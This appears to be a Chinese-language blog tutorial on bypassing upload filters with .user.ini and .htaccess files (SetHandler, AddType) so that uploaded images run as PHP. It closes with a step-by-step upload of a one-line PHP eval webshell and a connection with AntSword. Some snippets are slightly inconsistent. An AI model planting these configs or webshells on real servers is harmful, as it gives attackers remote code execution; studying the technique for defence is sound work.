Apache的.htaccess利用技巧

.user.ini和.htaccess的利用技巧

.user.ini上传个用户配置

.user.ini的妙用原理

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

.htaccess利用技巧

.htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录。在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找.htacess文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为All,那么将启用.htaccess文件,所有在.htaccess文件里的指令都将被重写,即允许.htaccess文件覆盖掉Apache的配置。

ad1a1b7183231508

如果一个Web应用允许上传.htaccess文件,且.htaccess文件启用,那就意味着攻击者可以更改Apache的配置,这是十分危险。
.htaccess文件攻击有三种方式:

当.htaccess文件内容如下,会将内容符合php语法规则的文件当作php文件解析

ad1a1b7183231527

匹配文件名中的关键字(比如:当文件名[info.php.png] 中包含关键字[.php],并且.htaccess文件内容如下,info.php.png中的代码会被执行)

ad1a1b7183231550

匹配文件名,当.htaccess文件内容如下,可以将匹配到的文件名的文件中的代码执行

ad1a1b7183231602

.htaccess配置将jpg转成php

经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行

.htaccess 文件内容有如下两种

1.SetHandler 指令

新建.htaccess文件

# 将images.png 当做 PHP 执行
<FilesMatch “images.png”>
SetHandler application/x-httpd-php
</FilesMatch>

2.AddType

新建.htaccess文件

# 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .png

upload and get shell

ad1a1b7183225945

只能上传图片格式

ad1a1b7183231738

操作步骤

新建.htaccess文件

#   将 .jpg 当做 PHP 文件解析

内容:SetHandler application/x-httpd-php

上传.htaccess文件,成功

ad1a1b7183232010

接下来上传.png文件,文件中是一句话木马
<?php @eval($_POST['a']);?>

ad1a1b7183232212

他就会吧png当成PHP 文件解析,接下来就可以蚁剑连接了,

ad1a1b7183232725

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称

    暂无评论内容